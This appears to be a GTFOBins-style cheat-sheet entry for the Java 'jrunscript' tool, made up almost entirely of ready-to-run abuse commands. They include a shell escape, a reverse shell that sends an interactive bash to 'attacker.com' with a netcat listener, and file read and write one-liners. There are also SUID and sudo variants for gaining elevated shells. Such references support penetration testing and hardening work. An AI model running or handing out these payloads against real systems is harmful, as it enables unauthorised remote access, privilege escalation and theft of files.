| code |
| jrunscript -e "exec('/bin/sh -c $@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')" |
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| description |
code |
| Run `nc -l -p 12345` on the attacker box to receive the shell. |
export RHOST=attacker.com
export RPORT=12345
jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
var p=new java.lang.ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var s=new java.net.Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
java.lang.Thread.sleep(50);
try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
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| code |
| jrunscript -e 'var fw=new java.io.FileWriter("./file_to_write"); fw.write("DATA"); fw.close();' |
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| code |
| jrunscript -e 'br = new BufferedReader(new java.io.FileReader("file_to_read")); while ((line = br.readLine()) != null) { print(line); }' |
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| description |
code |
| This has been found working in macOS but failing on Linux systems. |
./jrunscript -e "exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')" |
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| code |
| sudo jrunscript -e "exec('/bin/sh -c $@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')" |
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